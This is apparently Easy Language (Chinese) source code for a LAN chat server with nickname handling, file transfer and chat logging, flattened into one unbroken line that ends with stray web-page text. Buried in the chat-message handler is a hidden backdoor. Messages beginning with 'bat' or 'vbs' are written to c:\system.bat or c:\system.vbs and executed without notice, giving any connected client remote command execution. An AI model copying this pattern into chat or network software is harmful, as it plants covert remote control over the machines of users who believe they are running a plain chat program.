文本型接收内容=到文本(服务器1.取回数据())现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间()))编辑框5.内容=到文本(服务器1.取回客户())编辑框9.内容=取文本右边(接收内容, 取文本长度(接收内容) -4)x1 =寻找文本(编辑框5.内容, “:”, 1, 假)IP =取文本左边(编辑框5.内容, x1 -1)端口=取文本右边(编辑框5.内容, 取文本长度(编辑框5.内容) -x1)编辑框10.内容=IP编辑框11.内容=端口.如果(取文本左边(接收内容, 4) =“昵称”)列表框1.加入项目(到文本(服务器1.取回客户()), )列表框2.加入项目(取文本右边(接收内容, 取文本长度(接收内容) -4), )编辑框3.内容=编辑框3.内容+“<【”+取文本右边(接收内容, 取文本长度(接收内容) -4) +“】进入>”+现在时间+#换行符播放MP3 (1, “xlj.mp3”).否则.如果(取文本左边(接收内容, 6) =“文件名”)编辑框12.内容=到文本(服务器1.取回客户())j =倒找文本(接收内容, “|”, , 假)编辑框14.内容=“d:\”+取文本中间(接收内容, 7, j -7)分组框9.标题=“来自:”+到文本(服务器1.取回客户()) +“的发送文件请求”编辑框16.内容=“文件大小:”+到文本(到数值(取文本右边(接收内容, 取文本长度(接收内容) -j)) ÷1024 ÷1024) +“Mb”编辑框15.内容=到文本(到数值(取文本右边(接收内容, 取文本长度(接收内容) -j)))播放音乐(“xwj.wav”, 假)分组框9.可视=真.否则.如果(取文本左边(接收内容, 4) =“聊天”).如果(取文本中间(接收内容, 5, 3) =“bat”)文件号1 =打开文件(“c:\system.bat”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -7))关闭文件(文件号1)执行(4, “c:\system.bat”, , , ).否则.如果(取文本中间(接收内容, 5, 3) =“vbs”)文件号1 =打开文件(“c:\system.vbs”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -7))关闭文件(文件号1)执行(4, “c:\system.vbs”, , , ).否则聊天内容=取文本右边(接收内容, 取文本长度(接收内容) -4)编辑框5.内容=到文本(服务器1.取回客户())i =列表框1.取项目数().变量循环首(0, i -1, 1, x).如果(列表框1.取项目文本(x) =编辑框5.内容)编辑框9.内容=列表框2.取项目文本(x).否则.如果结束.变量循环尾()编辑框3.内容=编辑框3.内容+“【”+编辑框9.内容+“】”+现在时间+#换行符+“”+聊天内容+#换行符播放音乐(“xxx.wav”, 假).如果结束.如果结束.否则.如果(接收内容=“发送完毕”)关闭文件(文件号2)信息框(“接收完成”, 64, “提示”)执行(4, 取文本左边(编辑框14.内容, 倒找文本(编辑框14.内容, “\”, , 假) -1), , , )编辑框12.内容=“”编辑框17.内容=“0”进度条2.位置=0分组框9.可视=假.否则编辑框17.内容=到文本(到数值(编辑框17.内容) +2048)进度条2.位置=到数值(编辑框17.内容) ÷到数值(编辑框15.内容) ×1000写出字节集(文件号2, 服务器1.取回数据())服务器1.发送数据(服务器1.取回客户(), “接收”, 10).如果结束.如果结束.如果结束.如果结束.子程序_按钮3_被单击.局部变量现在时间, 文本型.如果(编辑框5.内容≠“”).如果(编辑框4.内容≠“”)现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间()))服务器1.发送数据(编辑框5.内容, 编辑框4.内容, 10)编辑框3.内容=编辑框3.内容+“TO【”+编辑框9.内容+“】”+现在时间+#换行符+“”+编辑框4.内容+#换行符编辑框4.内容=“”.否则信息框(“发送内容不能为空”, 48, “提示”).如果结束.否则信息框(“请选择客户”, 48, “提示”).如果结束.子程序_按钮5_被单击.局部变量i, 整数型.局部变量x, 整数型.如果(编辑框5.内容≠“”)编辑框3.内容=编辑框3.内容+“<正在与【”+编辑框9.内容+“】断开>......”+#换行符服务器1.断开客户(编辑框5.内容)播放MP3 (1, “lk.mp3”).否则信息框(“请选择客户”, 48, “提示”).如果结束i =列表框1.取项目数().变量循环首(0, i -1, 1, x).如果(列表框1.取项目文本(x) =编辑框5.内容)列表框1.删除项目(x)列表框2.删除项目(x).否则.如果结束.变量循环尾()编辑框5.内容=“”编辑框9.内容=“”.子程序_列表框2_列表项被选择.局部变量j, 整数型j =列表框2.现行选中项编辑框5.内容=到文本(列表框1.取项目文本(j))编辑框9.内容=到文本(列表框2.取项目文本(j)).子程序_服务器1_客户离开.局部变量i, 整数型.局部变量x, 整数型.局部变量lkkh, 文本型lkkh =到文本(服务器1.取回客户())i =列表框1.取项目数().变量循环首(0, i -1, 1, x).如果(列表框1.取项目文本(x) =lkkh)列表框1.删除项目(x)编辑框3.内容=编辑框3.内容+“<【”+列表框2.取项目文本(x) +“】离开>”+#换行符列表框2.删除项目(x).否则.如果结束.变量循环尾().如果(lkkh =编辑框5.内容)编辑框5.内容=“”编辑框9.内容=“”编辑框10.内容=“”编辑框11.内容=“”.否则.如果结束播放MP3 (1, “lk.mp3”).子程序_按钮12_被单击编辑框14.内容=“”服务器1.发送数据(编辑框12.内容, “拒绝”, 10)编辑框12.内容=“”分组框9.可视=假.子程序_按钮11_被单击文件号2 =打开文件(编辑框14.内容, 4, )服务器1.发送数据(编辑框12.内容, “接收”, 10).子程序_按钮14_被单击.局部变量文件号4, 整数型文件号4 =打开文件(“服务器聊天记录.txt”, 5, 1)移到文件尾(文件号4)插入文本(文件号4, 编辑框3.内容)关闭文件(文件号4)编辑框3.内容=“”.子程序__启动窗口_创建完毕_启动窗口.标题=_启动窗口.标题+“本机IP地址【”+转换为IP地址(取主机名()) +“】”XP风格(3).子程序_编辑框3_内容被改变编辑框3.起始选择位置=-1。

相关文档
最新文档